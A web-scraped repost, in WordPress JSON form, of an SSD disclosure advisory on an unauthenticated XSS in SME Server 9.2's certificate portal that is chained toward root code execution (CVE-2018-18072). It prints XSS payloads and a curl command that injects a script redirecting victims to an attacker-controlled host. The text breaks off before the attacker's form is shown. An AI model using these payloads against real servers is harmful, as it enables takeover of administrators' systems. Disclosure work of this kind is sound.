{"id":14258,"date":"2019-01-07T14:19:07","date_gmt":"2019-01-07T22:19:07","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2019\/01\/07\/news-8010\/"},"modified":"2019-01-07T14:19:07","modified_gmt":"2019-01-07T22:19:07","slug":"news-8010","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2019\/01\/07\/news-8010\/","title":{"rendered":"SSD Advisory \u2013 SME Server Unauthenticated XSS To Privileged Remote Code Execution"},"content":{"rendered":"

Credit to Author: SSD \/ Ori Nimron| Date: Mon, 07 Jan 2019 13:21:59 +0000<\/strong><\/p>\n

\n
\n

Vulnerabilities Summary<\/strong>
The following advisory describes a vulnerability in SME Server 9.2, which lets an unauthenticated attackers perform XSS attack that leads to remote code execution as root. SME Server is a Linux distribution for small and medium enterprises by Koozali foundation.<\/p>\n

CVE<\/strong>
CVE-2018-18072<\/p>\n

Credit<\/strong>
An independent security researcher, Karn Ganeshen has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.<\/p>\n

Affected systems<\/strong>
SME Server 9.2<\/p>\n

Vendor Response<\/strong>
Fixed in phpki-0.82-17.el6.sme, phpki-0.82-18.el6.sme, phpki-0.82-19.el6.sme
<\/span>Vulnerability Details<\/strong>
Software for the SME Server is packaged using RPM Package Manager (RPM) system. Existing packages from CentOS and other third-party developers are used. The SME Server uses packages from the open source community. Packages are called as contribs. Each contrib adds a specific functionality to the SME server  deployment. Once a contrib is installed, the corresponding Menu or web panel is added to the SME HTTP management portal. The default admin user has access to all contrib Menus. admin can create a new user and assign access of specific web panels (functionality) to the user. The user can, then, view, access and administer only those specific web panels.<\/p>\n

The vulnerable components are the “Certificate Management” & “Advanced Web Statistics”, Which are vulnerable to Cross-Site Scripting & Cross-Site Request Forgery.
For the next demonstration , the Attackers IP is 192.168.1.2 and the SME Server IP 192.168.1.109.<\/p>\n

The exploitation starts with the contrib \u2013 PHPKI – smeserver-phpki. This contrib provides a Certificate Management functionality. The administrator adds new certificates, which the users can download and set up in their browsers. The Certificate Management portal is accessible at https:\/\/<SME Server IP>\/phpki\/.
It should look like this:
\"\"<\/a><\/p>\n

All users can access this without any authentication. The portal provides a Search function where a user can search for existing certificates.<\/p>\n

Exploit<\/strong>
1) <\/b>Reflected XSS [Pre-Auth] https:\/\/192.168.1.109\/phpki\/search.php\/”><script>alert(“xss-phpki”)<\/script> . We can now see that this component is vulnerable to XSS.
\"\"<\/a>
Now lets arm the payload: We will inject the following payload: “><script>document.location=”http:\/\/192.168.1.2\/ssd.html”<\/script>
Issue the following request: curl ‘https:\/\/192.168.1.109\/phpki\/search.php\/”><script>document.location=”http:\/\/192.168.1.2\/ssd.html”<\/script>’ –insecure This payload is injected in the back-end (Stored-XSS) and used by another contrib, Awstats.
2)<\/b> Start a web server on Attacker IP to serve our evil form \u2013 ssd.html<\/p>\n

\t\t<\/p>\n

\n
<\/span> \t\t\t<\/p>\n
\n
\n
<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
<\/div>\n